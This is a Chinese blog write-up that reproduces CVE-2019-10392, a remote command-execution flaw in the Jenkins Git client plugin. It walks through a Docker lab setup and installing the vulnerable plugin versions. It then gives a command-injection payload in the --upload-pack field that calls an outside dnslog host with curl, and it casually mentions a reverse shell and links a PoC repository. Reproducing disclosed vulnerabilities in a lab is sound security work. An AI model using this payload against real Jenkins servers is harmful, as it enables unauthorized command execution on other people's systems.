前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2019-10392:Jenkins Git client插件RCE复现

CVE-2019-10392:Jenkins Git client插件RCE复现

作者头像
Power7089
发布2019-10-10 15:15:36
6740
发布2019-10-10 15:15:36
举报
文章被收录于专栏:闪石星曜CyberSecurity

本文作者:PaperPen

本文共836字,阅读大约需要3分钟

0x00 简介


Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。

0x01 漏洞概述


Git客户端插件中的系统命令执行漏洞,这是以允许具有Job/Configure权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现命令执行。

0x02 影响范围


Git client Plugin <= 2.8.4

0x03 环境搭建


在线环境获取:

将本文转发至朋友圈截图发至公众号内

自行搭建:

使用docker进行搭建

代码语言:javascript
复制
docker search Jenkins
docker pull jenkins/jenkins
docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins

等待1~2分钟后(启动较慢),浏览器访问ip:8080进入环境

代码语言:javascript
复制
docker exec -it 2d0c55ad015c /bin/bash   #进入容器
cat /var/jenkins_home/secrets/initialAdminPassword   #获取密码

输入密码后继续下一步,安装推荐的插件,这个安装过程要花比较长的时间,15~20分钟

继续下一步,创建一个管理员

继续下一步,就进入了Jenkins主页面

系统管理 -- 管理用户 -- 新建用户,创建一个user账户

然后进入:系统管理 -- 全局安全配置,为user账户配置如下权限

下载漏洞版本的插件(推荐安装的都是官网的最新版本)

git客户端:

代码语言:javascript
复制
http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi

git插件:

代码语言:javascript
复制
http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi

然后进入:系统管理 -- 插件管理 -- 高级,将两个插件上传

都上传完后点击下图的‘安装完成后重启Jenkins’即可重新启动服务

0x04 漏洞利用


重启后,登录user账户

新建任务 -- 流水线

确定后,点击流水线

选择以下选项,输入Poc(使用dnslog检测):

代码语言:javascript
复制
--upload-pack="`curl ysp8lf.dnslog.cn`"

查看dnslog,检测到流量

反弹shell后便可以做你想做的任何事情了/坏笑

Poc脚本:

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

参考链接:

https://mp.weixin.qq.com/s/Axx7KYm9irAQv7ZIO8autg

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档